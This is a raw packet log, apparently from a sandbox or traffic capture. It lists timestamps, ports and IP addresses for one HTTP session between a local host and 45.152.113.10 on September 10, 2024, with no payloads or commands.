Sep 10, 2024 19:36:05.881347895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881356955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881366014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881375074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881386042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.881391048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881437063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.881593943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881603956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881613970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881622076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881632090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881639957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881649017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881654978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.881671906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881681919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881690979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.881696939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881705046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881715059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881724119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.881730080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881745100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881758928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.881763935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.881788015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.881817102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.900747061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.905595064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:06.048646927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:06.048708916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:06.130719900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:06.135720015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:06.270519972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:06.270698071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:06.545315981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:06.550252914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:06.683240891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:06.683311939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.152015924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.157464027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.280878067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281044006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281053066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281060934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281070948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281080008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281138897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.281138897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.281207085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281217098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281224966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281233072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281239033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.281243086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281253099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281267881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.281279087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.281307936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.281371117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281380892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281389952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281398058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281408072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.281430006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.281455040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316390038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316457033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316467047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316476107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316483021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316493034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316504002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316513062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316523075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316523075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316523075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316530943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316539049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316548109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316557884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316560984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316589117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316601992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316653013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316662073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316674948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316704035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316725016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316787958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316797972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316806078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316814899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316824913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316829920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316833973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316840887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316862106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316869020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316873074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316879988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316881895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316899061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316910028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316910028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316917896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316927910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316931009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316936016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316960096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.316982985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316992998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.316993952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.317003965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.317028046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.317049026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.352811098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.352823019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.352833033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.352894068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.352894068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.352912903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.352922916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.352929115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.352931976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.352941990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.352955103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.352956057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.352965117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.352988005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353005886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353548050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353558064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353565931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353574038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353584051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353591919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353593111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353598118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353607893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353615046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353636980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353653908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353667021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353677034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353693008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353703022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353707075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353712082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353719950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353722095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353730917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353744030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353749037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353759050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353766918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353773117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353790045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353796005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353812933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353835106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353873014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353882074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353889942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353904963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353916883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353918076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353926897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353943110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353960991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353980064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.353985071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.353993893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354002953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354012012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354022026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354031086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.354060888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.354091883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354101896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354130983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354131937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.354141951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354157925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.354175091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.354206085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354217052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354226112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354233980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354262114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.354280949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.354284048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354295015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354304075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354314089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354324102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.354357004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.354423046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354432106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354440928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354451895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354461908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354475021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.354492903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.354511023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.354530096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354540110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354548931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354557037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354566097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.354576111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.354604006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.354617119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389065027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389116049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389139891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389157057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389167070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389174938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389183998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389183998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389193058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389206886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389245033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389542103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389559984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389570951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389580011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389590025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389592886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389610052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389624119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389640093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389656067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389677048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389714003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389724016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389733076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389741898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389750957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389750957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389759064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389769077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389779091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389794111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389820099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389842987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389852047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389889002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389894962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389915943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389925003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.389934063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389965057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.389977932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.402842045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.402856112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.402873993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.402884007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.402894020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.402904987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.402906895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.402925014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.402960062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403012991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403057098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403086901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403096914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403127909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403139114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403139114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403166056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403167963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403178930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403189898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403192043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403213024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403228998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403270006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403280973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403291941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403300047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403310061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403312922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403321028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403335094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403346062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403368950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403389931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403417110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403426886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403436899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403455019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403460979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403465986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403482914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403484106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403493881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403505087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403512955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403536081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403553963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403565884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403575897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403584957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403595924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403606892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403620958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403630972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403635979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403640985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.403659105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.403698921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.451925039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.451971054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.451983929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452070951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452080965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452100039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452109098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452119112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452199936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452199936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452199936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452199936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452203035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452214003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452224970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.452253103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452254057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452274084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.452274084 CEST	49707	80	192.168.2.5	45.152.113.10
